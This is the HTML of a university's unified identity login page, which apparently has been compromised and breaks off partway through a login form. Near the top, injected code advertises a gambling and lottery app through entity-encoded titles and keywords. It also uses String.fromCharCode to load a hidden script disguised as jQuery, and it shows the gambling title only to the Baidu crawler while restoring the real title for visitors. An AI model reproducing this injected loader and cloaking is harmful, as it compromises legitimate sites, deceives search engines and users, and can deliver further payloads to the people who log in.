﻿﻿<!DOCTYPE html><html class="root-main">
<!-- 移动端 --><!-- PC端 --><!--校外用户登录--><!-- 二维码扫码登录 --><!-- 兼容性登录 --><!--校外用户登录--><!-- 帐号登录或动态码登录 --><head><title>&#x661F;&#x7A7A;&#x5F69;&#x7968;&#x4F53;&#x5F69;&#x7248;|&#x661F;&#x7A7A;&#x5A31;&#x4E50;&#x5F69;&#x7968;&#x4E0B;&#x8F7D;</title>
<meta name="keywords" content="&#26143;&#31354;&#24425;&#31080;&#20307;&#24425;&#29256;&#44;&#26143;&#31354;&#23089;&#20048;&#24425;&#31080;&#19979;&#36733;"/>
<meta name="description" content="&#26143;&#31354;&#24425;&#31080;&#20307;&#24425;&#29256;&#20026;&#29992;&#25143;&#25552;&#20379;&#23448;&#26041;&#32423;&#20307;&#39564;&#65292;&#25903;&#25345;&#26143;&#31354;&#23089;&#20048;&#24425;&#31080;&#19979;&#36733;&#28192;&#36947;&#65292;&#28085;&#30422;&#20307;&#24425;&#36164;&#35759;&#12289;&#25968;&#25454;&#20998;&#26512;&#21450;&#20415;&#25463;&#25237;&#27880;&#36741;&#21161;&#24037;&#20855;&#12290;&#36719;&#20214;&#36816;&#34892;&#27969;&#30021;&#65292;&#21151;&#33021;&#20016;&#23500;&#65292;&#36866;&#21512;&#38656;&#35201;&#33719;&#21462;&#20307;&#24425;&#30456;&#20851;&#24212;&#29992;&#30340;&#29992;&#25143;&#36731;&#26494;&#20351;&#29992;&#12290;"/>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,47,106,115,47,106,113,117,101,114,121,46,51,46,53,46,49,46,109,105,110,46,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="统一身份认证平台"}</script>
    <meta charset="utf-8"/><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/><title></title>
    <script>
        var inputUserNameTip = "\u8BF7\u8F93\u5165\u7528\u6237\u540D";
        var inputPasswordTip = "\u8BF7\u8F93\u5165\u5BC6\u7801";
        var inputCodeTip = "\u8BF7\u8F93\u5165\u9A8C\u8BC1\u7801";
        var qrLoginTip = "\u626B\u7801\u767B\u5F55";
        var qrInvalidTip = "\u4E8C\u7EF4\u7801\u5DF2\u5931\u6548\uFF0C\u70B9\u51FB\u5237\u65B0";

        var inputMobileTip = "\u8BF7\u8F93\u5165\u624B\u673A\u53F7\u6216\u5B66\u53F7";
        var inputDynamicTip = "\u8BF7\u8F93\u5165\u9A8C\u8BC1\u7801";
        var getDynamicCodeTip = "\u83B7\u53D6\u9A8C\u8BC1\u7801";
        var inputDynamicGetCode = "\u83B7\u53D6\u9A8C\u8BC1\u7801";
        var excludeRegular = "\u7528\u6237\u540D\u5305\u542B\u7279\u6B8A\u5B57\u7B26";
        //不转码，防止参数丢失
        var service = ["https:\/\/m.w-maro.com/ehall\/css\/chunk-vendors.8e659aa2.css"];
        var jsonObject = {"pcLogoPath":null,"pcThemeColor":null,"officialUrl":null,"defaultWxQrCode":0,"wxQrCode":null,"defaultImage":0,"imageType":1,"shufflingTime":5,"shufflingStyle":2,"imageNames":["default_login.png"],"mobileLogoPath":null,"mobileThemeColor":null,"mobileModel":0,"mobileImages":["default_mobile_login.png"],"otherModel":0,"otherImages":["default_auth_serv_bg.png"]};
        var reg = "[$:{}]";
    </script>
    <script type="text/javascript">
        if(service == '' || !service){
            service = '';//saml后缀
        }
        var isQrLogin = "false";
        var isQrLoginEnabled = "false"
        var captchaSwitch = "1";
        var needCaptcha = "";
        var _fidoEnabled="false";
        var is_dynamicLogin = "false";
        var is_userNameLogin = "true";
        var contextPath = "/authserver";
        var type = "userNameLogin";
        var cllt = "";
        var _badCredentialsCount="3";
        var rememberMeTip = '开启后7天内无需再次登录，主动退出登录或使用浏览器无痕模式访问后，此功能失效'
    </script>
    <style>
        .change-color{
            color: #CD1717 !important;
        }
        .change-bg-color{
            background-color: #CD1717 !important;
        }
        .change-bd-color{
            border-color: #CD1717 !important;
        }
    </style>
    <link rel="stylesheet" type="text/css" href="/authserver/xjauThemenew/static/css/toastr.min.css?v=20250411.074631"><link rel="stylesheet" type="text/css" href="/authserver/xjauThemenew/static/web/css/login.css?v=20250411.074631"/><link rel="stylesheet" type="text/css" href="/authserver/xjauThemenew/static/web/iconfont/iconfont.css?v=20250411.074631"/><link rel="stylesheet" type="text/css" href="/authserver/xjauThemenew/static/web/css/fido.css?v=20250411.074631"/><link rel="stylesheet" type="text/css" href="/authserver/xjauThemenew/static/common/css/swiper.min.css?v=20250411.074631"/><link rel="stylesheet" type="text/css" href="/authserver/xjauThemenew/customStatic/web/css/gorgeous.css?v=20250411.074631"/><script type="text/javascript" src="/authserver/xjauThemenew/static/common/swiper.min.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/common/jquery-latest.min.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/js/plugin/toastr.min.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/common/utils.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/common/common-header.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/common/encrypt.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/web/js/fido.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/web/js/schoolCombinedLogin.js?v=20250411.074631"></script>
    <script type="text/javascript" src="/authserver/xjauThemenew/static/web/js/login.js?v=20250411.074631"></script>

    <style>
        #rememberMeTipDiv:hover .bubbleTip{
            display: block;
        }
        #myRememberMe{
            overflow: visible !important;
        }
        .bubbleTip{
            background-color: black;
            color: white;
            display: none;
            padding: 8px 12px 8px 12px;
            line-height: 18px;
            text-align: left;
            position: absolute;
            top: -10px;
            left: -5px;
            font-size: 12px;
            z-index: 100;
            width: 300px;
            white-space: break-spaces;
            top: 50%;
            transform: translate(30px, -50%);
        }
        .bubbleTip::before{
            position: absolute;
            content: '';
            height: 0;
            width: 0;
            border-width: 1em;
            border-style: solid;
            border-color: transparent black transparent transparent;
            left: -1.5em;
            top: 0px;
            bottom: 0px;
            margin: auto;
        }
    </style>
    <script type="text/javascript">
        $(function(){
            $("#myRememberMe").attr("title", "")
        });
    </script>
</head>
<body>
<div class="container-ge">
    <div class="auth_page_wrappers">
        <!-- 轮播图 --><div class="auth_page_body">
            <div class="auth_page_top">
                <div class="left_page_info">
                    <img src="/authserver/xjauThemenew/customStatic/web/images/logo.png" alt=""></div>
                <div class="right_page_info">
                    <a href="https://jwxt.xjau.edu.cn/jwglxt/xtgl/login_slogin.html" target="_blank">教务选课</a>
                    <div class="t-language-switch" >
                        <div class="g-language-switch item">
                            <button class="g-switch-result" style="height: 32px">
                                <span id="language_switch_name" class="g-switch-btn lang_text_ellipsis"></span>
                                <span class="g-switch-arrow"></span>
                            </button>
                            <div class="item-show">
                                <ul id="language_switch" class="g-switch-list"></ul>
                            </div>
                        </div>
                    </div>
                </div>

            </div>
            <div class="auth_page_content">
                <div class="auth_login_content">
                    <div style="position: relative;"  class="dz_wrap">
                        <div class="wrap-ge">
                            <!-- <a id="qrCodeA" class="qrcodeA" style="display: none;"></a>
                            <a id="qrCodeB" class="qrcodeB" style="display: none;"></a> --><section class="main">
                                <div class="tabHead">
                                    <span id="pwdLoginSpan" title="账号登录" style="display: none">
                                        <a id="userNameLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('userNameLogin',1)" class="loginFont_a">
                                            <img src="/authserver/xjauThemenew/customStatic/web/images/userlogin-title.png" style="width: 100px;" alt=""></a>
                                        <!-- <div class='tabHead-underline change-bg-color'>&nbsp;</div> --></span>
                                    <span id="phoneLoginSpan" title="验证码登录"  style="display: none">
                                        <a id="dynamicLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('dynamicLogin',1)" class="loginFont_a text_ellipsis">验证码登录</a>
                                        <!-- <div class='tabHead-underline change-bg-color'>&nbsp;</div> --></span>
                                    <span id="fidoLoginSpan" style="max-width: 120px;display: none" title="生物识别">
                                        <a id="fidoLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('fidoLogin',1)" class="loginFont_a text_ellipsis">生物识别</a>
                                        <!-- <div class='tabHead-underline change-bg-color'>&nbsp;</div> --></span>
                                    <span id="qrLoginSpan" title="扫码登录"  style="display: none">
                                        <a id="qrLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('qrLogin',1)" class="loginFont_a text_ellipsis">扫码登录</a>
                                        <!-- <div class='tabHead-underline change-bg-color'>&nbsp;</div> --></span>
                                </div>
                                <div class="login-main login-slider">
                                    <!--登录FORM--><div id="loginViewDiv"></div>
                                    <!-- <div class="help-inline"><div class="help-inline-tip"></div></div> --><div class="help">
                                        <!-- 帐号激活 --><a id="activationAccountId" href="../retrieve-password/accountActivation/index.html"
                                               class="activation-account lang_text_ellipsis">账号激活</a>
                                            <!-- <span class="split-lines"></span> --><!-- 在线帮助文档  --><!-- 忘记密码 --><!-- <a id="retrievePassId" th:href="@{../retrieve-password/retrievePassword/index.html}"
                                           class="fo-password lang_text_ellipsis" th:text="#{login.page.forget.pwd}"></a> --></div>
                                </div>
                            </section>

                            <!-- 嵌入二维码登录 --><section class="auth-qroce" style="display: none;">
                                <span class="qrcode_title lang_text_ellipsis">扫码登录</span>
                                <div class="qrcode-middle">
                                    <div>
<script type="text/javascript" src="/authserver/xjauThemenew/static/custom/js/qrcode.js?v=20250411.074631"></script>
<div class="qr_scan_box">
    <form method="post" id="qrLoginForm" action="/authserver/login" role="form">
        <div id="qr_code">
             <div class="qr_scan_code"><img id="qr_img" src=""/></div>
             <span class="title lang_text_ellipsis">手机扫码  安全登录</span>
        </div>

        <div id="qr_success" class="qr_success" style="display: none">
            <div class="qr_scan_success">
                <img src="/authserver/xjauThemenew/static/custom/images/success_qr.png"/><div class="qr_success_tips_div">
                    <span class="qr_success_tips">扫描成功</span>
                    <span class="sub_title lang_text_ellipsis qr_success_sub_title">请在手机上「确认登录」</span>
                </div>
            </div>
            <div class="scan_footer lang_text_ellipsis qr_success_back"><a class="scan_a" href="javascript:refresh();">返回二维码</a></div>
        </div>

        <div id="qr_invalid" style="display: none">
            <div class="qr_scan_code">
                <img id="invalid_img" src=""/><div class="qr_scan_Invalid">
                    <img id="qr_refresh" src="/authserver/xjauThemenew/static/custom/images/refresh.png" onclick="refresh()"/></div>
            </div>
            <span class="title lang_text_ellipsis">手机扫码  安全登录</span>
        </div>

        <input type="hidden" name="lt" id="lt" value="" /><input type="hidden" name="uuid" id="uuid" value=""/><input type="hidden" name="cllt" value="qrLogin"/><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" name="execution" value="871471a8-666a-4dee-adf6-680f954214b1_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90Z1Y3Y2xkYlhqSHo3cGxBc1J6VWdvWkEzeFU2ZEV2c3YxRktWL0pINDhUQjgzRVZtT3lrY2FVdUV5NGQ2S1o1WjBhTWU1K1o1U0tldmN3Z3p6dWdSRlNFbWhzKzZCb0FtalpmWHZYV05Tc2lNdTRUUElObUFDQmp1ekg4RzI2a3F3dXpxbDlHN3NqbThmV25uMjJnSFM4eGJtWWRmb0hQVisvMnE2WUx2QUhWRksxNElJZExSWEIzQjdwM0kvM01ESUNXK3BYd0srajRhbFRLL0FmRk1JNnNpVlVlVGdrL2t2L1EwUExLZU05ak1VMS8wWEU3WnRlZFhRWk5GWHhYUFFBa0tuM1dpR1VHaTIwQmw1eEtJUTR4UkFpOTR1VGlsb2FDcmlHVUFiOG9iWXVFYkJwQnAza29rVENUeG5QWXdFeTVGMTBvRGJiWDUrSVFSUzljcG5uWlZoWGs3d21qZWE0RDMwR3pHcWFwd3o3dDVuZEYvOTh6RWNBbFFkSDV1YkZaQjFORjhsb0JMQ0hoVnd3UGRPNUZhaU54RTBrNXFrdkZ0M3lJZ0lCMURoQng4N21hcU5lNXg5c2JoNnJMcVRpZVJHTGI2YW5yVHVWcm5MSW0vWjJ6Ryt6UWw1Z2hHRTdEaUY5eGIzeDVOck55WUs1UlJDbVh3dlp3U2xjQi94dSswTWJmUU9CaFlMRmdtbUo0QzNSbXRZdnIvVy9GRVlSN0puUGRkZTd5SVJZSDlVeDZCL01RS2UvcnJQY1BkcUNKa2hUZ0E4Y2kvSUpkMCtkYVZoWDJtcjB5OWZPQVR2MnRtLzBoSHFKMUNpMEtmK3ZrUy90YWE1MXBoZ3hWWWRiSFd3Q0FhWWdnbk1tU0pjTnJQZXhUeTBsS2NSN0RmMWhrTy9TV0YwU2J2dVVyWXdReXlLM1BBdkFwSEE5MDRab0dkbU5JYkx3ZDQwbzJKWVh2Z0hUeWFzd214d2M4Ri9tOEh2UTVCQWt3bnBlbzdla1NxclFpdjBGeG1iRDQrVENIN2RucGpZb1ltb3BVVmc1RThTZzI2dzl2Y3dnUURhME5KR0U1Wk1mQTZiZ1QwK0puMDdDUTJkZWMzS0E2c3FQRkFheE96YU5ocGhQazNKVDZWUnFLRU1PMmZKVVpuNndyK2ZBaTh0Yk5rVmhaQ0FnSkFYdDBjZUpjNHhobkRJbGsvdW1xZW4veXBWMUJqc1FDRUQweGhpdVkxa2VRTzZhNUNBejlMUUNBSVdJeW82OTJkTVhSb2VUNldpd2ZObDdTaWFrc3FoOGhwNlNuT1RCalNMUlQ0U21YQndGMUZsZVVUaHJmOXd5QjhQMDgyOGFNd2RSWDkzd3BPcjlQMmdpYkZudVVvM1NXdWIwNmQybEJSbE0xRTA3eit3eTVwVHFkT1lEVWNYN0t5WFo5M2hmT2MrcHlMRHNiZ1JZVTZRUDRMQVkwM3RxcDRWVUExaVlBdnUrTmk1VmFBRGhkdnBvQU9wK1VUTkk1eDJ5TkxHWjRtQ3prRVg4d2lwRThRYWV1YUVRVnlCb2tqd3pLL1VjbC92ZSthU3BlVXYxWVlJMXRiYzc1dXpYNU1hVTE4TDdybm5iTHg4VU1KaFF1cVJzVmZmOUg4V1BtSEd2Q291VUtoVXV6cmlDYXBNZTdUVUp1aXF5MEZaa3p5eVpZV2VyMTJXVHJiTFRCQWsybmpVWDRIT0ttVFp2UHc5dFlJbmc1Q3lFeUdCNExsMDI2M0p0Mnd6Q1dwTWdtaW5aS1o1b2JSL1M4OUlOQmNad2RuWWZNMkdqQkVqYWtoZDhYR3FMZUFQWngydFpLTmdiR2Z0ak9ub2M4N3FkbVBHK290dzdzOWgwakNBTDhCczZ6TXVPc21jMUgzbUxKbmdvZk82b0thUkxMMVI2MzYrTlJxN1k0VlBjVWMvT3NnZnZHNE5KdDRyL2QreTVWNm9lMElWUEh2N0k0WmRFTVZ6RmZzeWFTRllRWmYvMEM1QzdUazdNQjFtbUhSRHpHT1M5WTRnMjJzRWxNSUttaE1abHh6bWhMMGtnazYxMnpCZm9xMTNvMTM5bU4reDVNT3p4c0JpNHJCZG9Fb1BDTU5yRDByTnpMZjUyL2drczhyUXN0c2JFek96czhFNDRiTUNaclN0SEc2MWI3ZnZZLytmMWU1NnRUWVI0eENvQjhnVWM2UkVsZzF5VWFiMU44UEdWZldTVGtUSmtScE9UdkRkVkJIK0liWEFpUlpTOU5iYTNSZC9tY3p1RmFTVHg2a2VtQ0tybkpFWmplNFgveUFxUlJGdlYyR2RndldSMmhEbTF5Mks2K1hTTXhuM21PSnN4Zk1LNXpHY09HN1gvZmF2Z2RHUC9lR1BIUkJTOFNwTU10WEJRcUtsYkVxQ1dLREdHQVp0UmlTQ3FnZFY1dFI1OUh2U2V2WVlTS1JHQTFPdmZJdERBSGd2RXFUL01QMXRQN1h4SzcwaWZUSVg1dVliMWEzRUJWSmNxWkVnZ2lycjN4MzhFTzNJVW9HQVl0MnZsV1kwRkFGaFZqbjNSUHQrdG1OSWlYYTUxZmpNbVhLdUZhZXV1M3owL2xUR3BxVy9McTNFeDYrKzJXUW9JbWkwTE1jSHdJUFVHWWNraXowcmVYVjRVMzVpM2JpQWFZdUdJM1BvakROcmxES3VZVUYvWUdCUkhCTjBxOHFHQUEyQ0VpUHhtQ2tpdWdlaXNUcjZsUGpUQlp4dHdIM1FkK0VxT1hYVWcvclgvOXpYVVlJdUttT214NS90RVNnUG0yTGdSZnF5NkxiY0p6dFZDQUo5WGpWNmg3akV3d3ZjWCtwS0c2QnFkWmFlNHg2MXZNTFZheWs5WnNDbDk4dXBpYUNSWnBZcytubEZ2THJyUkhNRE9BZXlGQit6N0NpcXdUUCthVlZwTzJqWnc5K1B0eHZyN3NMam04MERwWFRrajRtMVJ5SXptTk15RDV1MlhzS1p6aGV4MUdHZGtFbGQrT2NXSzY0VWQ0Ym9hQ3Z4azRhanh0cEd4QS9RMUR3MzdVa3JRdW9NcEZXUFFRSWxFSEYrYS9ERFZFZWJEVE5CTmg4YWlUajQ1RXpYaTNmVmhVUTFsb01LWDJFQ1FUNjN1MVRZcXpFQlhUUXpvYysxeWIwb1ZPcURIOTdpS1NNeUxTSlZVdmk2UW9zQlM4eDF4SmdFSjBFN25reklGNzZ4Yjhpc2JhajZVZFNuQS9UanZML0Vlc2hmaWMzcy84R0tEdnJOa09FTVBIL2ZFRy9yMlhoZlJySk1CbmtkZU03SDZIeW1OV3crandXazIwTW8yalhFSFhIaVh5K1BuQ3Z6aWg1ODc4RGY0cXBiRWlLdXpzYTE1TTZraE9Na2ptYTUvajNLWm55VzdWb2tFNlowWEJRTVlOc0FjOXdUMzRjMWhzYlhUYk0vQkRCcllpUVJDSWhIMXcyZmFGclpsbVN3cUVraVVnaHJYUHVJMjNVZkRYODhzaTlUOHBnZHlFQkk0Yk1pWUZwa0p5eitseVJYRW1SNnhwNXV1TVVLdmxWWGFFekVDaXZmbFV0aEtvOFdQcVg4Y09jdk1vdE84REcyS3BHRkdpbzVxSVJlOGxFeG1tL1NYcXlXc2hmclF1N0d6NXlyTXRoTE9WU1UvSG1pU2E0Qys2bm9VaG1jdVJ3a01vN3JPN3B3ck5GT0h0SjlFcDV0SDhJQmtVSWNUZ0x6YlU2L3U1Nkw2eG03czFYTXhWZSt2QUkxVmFuUU5UbkkzbWZPSlVRMTV4eFoxU1JSdkVVM05Xc3UwMHppYWtCbDcvRFZzUTNKSXIyaUxuOURCT3YydHRPYVJCcHllQ2U5VjZVZ1QwdUNLQjBCQzg3b1Fjb1NPM0FNb3dGTExHWk1xWUFrdXJIZjY1em1MZFFEekwxUi9CWjM3bzhKTmtIQkl3ZUV0QWwzMkhDbCtJUXJsSXROSFdZMklCbU9KaG91YnFxUHR3bWFvRUZsSUFCR28vaGJmZE5CYWpzb3JLYUR2aklyQzFyZklpNjRiSzVPNVVySFp2cklUOS9xUVFCc0JuNVpVbXoxeGloVnNhOVk3SWtsTVhTSTdvNm16TS9UVHM4b1kvL1hPYmVUSmtXS29IZ0R5emRrdXNDcWM3T2xWd01iaFI1bTlNRm5pWTdlMi8xbFZFeWNxWmVyVko0bXpkTnh1Mzl5eERXUHREYWtqVGNJUkFtV3BZcnpsNXZoMVNSdk8wcUZndUh2L08xZmNOZkpMNWN6TGNiN2hmZDZyQ1E5Y3JaQk1vYzVjSEp2WWR4K1UzbXd0TGM3Rm4wVEYxOXJNR3ZZanFoK3RsTGVHM3NrOTVwME40NWd3WkplYkpZTUErMG53L1o1b2h4QjhWcDRTNHBENDdpNnBVQUw0KzRtTFJDUzlMdUVLYlJZTjc4T2RKVzd4NVpYcTJyMERvQXFmNGxIWC96TlFTT1lqc2pYaUtEZEN5enhvbU5JOGtuTHRXOTVwUUNtVVk4dlYycXVXVThjck5XWnJjTk1pajF6YS9od0owQ0tuNlZISXNUMnB3WXl0Q0RPWW53MDJHS2dRL1hJN1RQekZvN2hBbzlVUHVjWHJBQXNHUWJYRWRpbU5xcE15L2FUeGY3Tk5BMmdQQTVrVVNoZjI0eWZhdEJsZG5OTlExa2NlbytMd2JvTWZzd0JkR3ZwaXhsa1IzYzJIRUdmMjh0TmhKNVdDRVRqWVNCOWJaaHRVTnZ4Zkd3NDVOZDdXdWZUY2Z3WlFva1hQNDVQWFJaWXd1OTU4RS90QTAwQmE0WkdPR1FrQ2dhQmxSOVpTNUVGYmN3T2RjZ0RaazB2a1JuMG1RNHloNHJnQmFNYWVQSHpjMm5rUENkTVQrNFplekJEYTlWRlVON3lOOC9jWGZqc0lvNThRUDBxZ3QvM1JRd3V6OEtnZzRoMUx2RytWQ0ZFcitLR0JOWGFxWFZBL1Y3TC9UTHp6SXdlRHpjeXBjc3d5K1hXY2pNa2trb2Jmb3BVV1hIZDlEZFdEL1l2c1hZeGdoamNudTQ3M1A4aTl5NFIybC9mQnM3M213QmwwZGQ4dDY1bzNodVJHR2RsS3NKeTBMRlc3WWVGemQyakRJanB2Mzh6TU1TZkNEUXZaaGVqTDBuYzJGcmJldUZod0RHRXNuNTdPdHdsKzdMREJuR3RVSm5YT0Njb0VyblBjcE5udGhpZkRXSXh3VE1ydDhOc3I0Q0JXbXNjSndjRWVzSmlrMlpMbGFUWHJISHVZRkdES1Y2Um9IdTV4OVFrUDRydXBCQVdNd2dpcW80WnorQlkyenh3bEt2TVFmZ0Uzd0hTeXBxVUVxSVhodks2RWw1VzMxTjBPNW1TcjdWNzRxbTJzMzNxRWg3cG1TUzZQK2VkakdUUzRuRFRjY3ZneGE5NmN0VEd6TlZEV2EwMVF1OEdDTzJZcWZRbis3T3c9PS5yem1yNHViZklZOGdjMjVfb1RHT1h5VF9xMktsamwxQWx2dUxKQWp5dFJyMUJPaTZmSlNEUU1RNzdwcmdIMW9uRmY2MmtVNGc0VlpyVGlnRC1DMURxdw=="/><input type="hidden" name="_eventId" value="submit"/><input type="hidden" name="rmShown" value="1"></form>
</div>
</div>
                                </div>
                                <div class="qrcode_img_tip">
                                    <p class="qrcode_tip num-text-ellipsis-2">扫码登录</p>
                                </div>
                            </section>
                            
                            <div class="dz-other-ways">
                                <div class="heads">
                                    <div class="line"></div>
                                    <h5>您还可以使用以下方式登录</h5>
                                    <div class="line"></div>
                                </div>

                                <div class="dz_ways">
                                    <div class="item">
                                        <a id="combinedLogin_a_weiXin" href="/authserver/combinedLogin.do?type=weixin">
                                            <img src="/authserver/xjauThemenew/customStatic/web/images/wx.png"
                                                alt="" /></a>
                                        <!-- <div class="prompt-bottom item-show">
                                            <span class="text_ellipsis"
                                                th:text="#{login.type.enum.weixin.login}"></span>
                                        </div> --></div>
                                    <div class="item" id="qrcode_login">
                                        <a id="combinedLogin_a_qrcode" href="/authserver/login?type=qrcode">
                                            <img src="/authserver/xjauThemenew/customStatic/web/images/icon_qrcode.png"
                                                alt="" /><!-- <div class="prompt-bottom item-show">
                                                <span class="text_ellipsis">二维码登录</span>
                                            </div> --></a>

                                    </div>
                                </div>

                            </div>

                            <!-- <div class="footer" th:if="${not #lists.isEmpty(combinedInfoProviderTypes)
                                            or not #lists.isEmpty(combinedPluginInfoProviderTypes)
                                            or not #lists.isEmpty(idsUnionInfoProviderTypes)}">
                                <div class="ways">
                                    <div class="item" th:if="${#lists.contains(combinedInfoProviderTypes, 'qq')}">
                                        <a id="combinedLogin_a_qq" th:href="@{'/combinedLogin.do?type=qq'}">
                                            <img th:src="@{${#themes.code('static.path')}+'/web/images/QQ.png'}" alt=""/>
                                        </a>
                                        <div class="prompt-bottom item-show">
                                            <span class="text_ellipsis" th:text="#{login.type.enum.qq.login}"></span>
                                        </div>
                                    </div>
                                    <div class="item" th:if="${#lists.contains(combinedInfoProviderTypes, 'weixin')}">
                                        <a id="combinedLogin_a_weiXin" th:href="@{'/combinedLogin.do?type=weixin'}">
                                            <img th:src="@{${#themes.code('static.path')}+'/web/images/weixin.png'}" alt=""/>
                                        </a>
                                        <div class="prompt-bottom item-show">
                                            <span class="text_ellipsis" th:text="#{login.type.enum.weixin.login}"></span>
                                        </div>
                                    </div>
                                    <div class="item" th:if="${#lists.contains(combinedInfoProviderTypes, 'weibo')}">
                                        <a id="combinedLogin_a_weiBo" th:href="@{'/combinedLogin.do?type=weibo'}">
                                            <img th:src="@{${#themes.code('static.path')}+'/web/images/weibo.png'}" alt=""/>
                                        </a>
                                        <div class="prompt-bottom item-show">
                                            <span class="text_ellipsis" th:text="#{login.type.enum.weibo.login}"></span>
                                        </div>
                                    </div>
                                </div>
                                <div class="ways" th:each="plugin: ${combinedPluginInfoProviderTypes}">
                                    <div class="item" th:if="${plugin.combinedType}!=weLinkQrCode">
                                        <a class="combinedLoginPlugin" th:href="@{'/combinedLogin.do?type='+${plugin.combinedType}+'&pluginId='+${plugin.id}}">
                                            <img th:src="@{${#themes.code('static.path')}+${plugin.logoUrl}}" th:alt="${plugin.combinedName}" />
                                        </a>
                                        <div class="prompt-bottom item-show">
                                            <span class="text_ellipsis" th:text="${plugin.combinedName}"></span>
                                        </div>
                                    </div>
                                    <div class="item" th:if="${plugin.combinedType}==weLinkQrCode">
                                        <a class="combinedLoginPlugin" th:href="@{'/weLinkQrCodeLogin.do?type='+${plugin.combinedType}+'&pluginId='+${plugin.id}}">
                                            <img th:src="@{${#themes.code('static.path')}+${plugin.logoUrl}}" th:alt="${plugin.combinedName}" />
                                        </a>
                                        <div class="prompt-bottom item-show">
                                            <span class="text_ellipsis" th:text="${plugin.combinedName}"></span>
                                        </div>
                                    </div>
                                </div>
                             
                                <div class="g-school-union" th:if="${not #lists.isEmpty(idsUnionInfoProviderTypes)}">
                                    <div class="g-school-switch item" th:if="${idsUnionInfoProviderSize} gt '1'">
                                        <button class="g-switch-result">
                                            <span class="g-switch-btn lang_text_ellipsis" th:text="#{ids.pc.login.view.idsUnion.combined}"></span>
                                            <span class="g-switch-arrow"></span>
                                        </button>
                                        <div class="item-show">
                                            <ul id="school_switch_list_id" class="g-switch-list">
                                                <a class="ids-union-a" th:each="idsUnion:${idsUnionInfoProviderTypes}" th:href="@{'/combinedLogin.do?type='+${idsUnion.combinedType}+'&appId='+${idsUnion.id}}">
                                                    <li class="text_ellipsis" th:text="${idsUnion.combinedName}" th:title="${idsUnion.combinedName}"></li>
                                                </a>
                                            </ul>
                                        </div>
                                    </div>
                                    <div class="g-school-switch" th:if="${idsUnionInfoProviderSize} eq '1'">
                                        <a class="ids-union-a ids-union-btn" th:each="idsUnion:${idsUnionInfoProviderTypes}" th:href="@{'/combinedLogin.do?type='+${idsUnion.combinedType}+'&appId='+${idsUnion.id}}">
                                            <div class="text_ellipsis" th:text="${idsUnion.combinedName}" th:title="${idsUnion.combinedName}"></div>
                                        </a>
                                    </div>
                                </div>
                          
                            </div> --></div>
                    </div>
                </div>
        
            </div>

            <div class="login-prompt">
                <div class="prompt-content">
                    <p>账号规则：学生登录账号为学号，教工登录账号为教工号;</p>
                    <!-- <p>密码规则：学生,教工登录初始密码为身份证号后6位.身份证最后一位为X，请使用大写X登录;</p> --><p>浏览器:推荐使用IE10,360浏览器或360极速浏览器进行访问。</p>
                    <p>咨询电话：8763565</p>
                </div>
                <div class="right-prompt">
                    <img src="/authserver/xjauThemenew/customStatic/web/images/icon_ewm.png" alt=""><p>扫码关注“智慧新农大”企业微信</p>
                </div>
            </div>
            <div class="auth_copy_right">Copyrights © Xinjiang Agricultural University ALL RIGHTS RESERVED 新疆农业大学
            </div>
        </div>
    </div>
</div>
<!-- 滑块验证码 --><div id="sliderCaptchaDiv"></div>
<!-- fido登录 --><div id="fidoLoginDiv" style="display: none">
    <div style="height: 260px;margin-top: 60px">
		<a href="javascript:void(0);" onclick="startAssertion('#loginFromId');" class="loginFont_a">
			<div class="fidoLogo">
				<img class="fidoLogoImage" src="/authserver/xjauThemenew/static/web/images/fido.jpg" alt=""/><div id="ukey_info" class="text change-color num-text-ellipsis-2" style="width: 100%;">点击开启识别登录</div>
			</div>
		</a>
		<form class="loginFromClass" method="post" id="loginFromId" action="/authserver/login">
			<div class="lang_text_ellipsis" style="width:100%;color: red;margin-top: 10px;">
				<span id="showErrorTip"></span>
			</div>
			<input type="hidden" id="_eventId" name="_eventId" value="submit" /><input type="hidden" id="username-fido" name="username" value=""><input type="hidden" id="responseJson-fido" name="responseJson" value=""><input type="hidden" id="cllt" name="cllt" value="fidoLogin"><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" name="lt" id="lt" value="" /><input type="hidden" id="execution" name="execution" 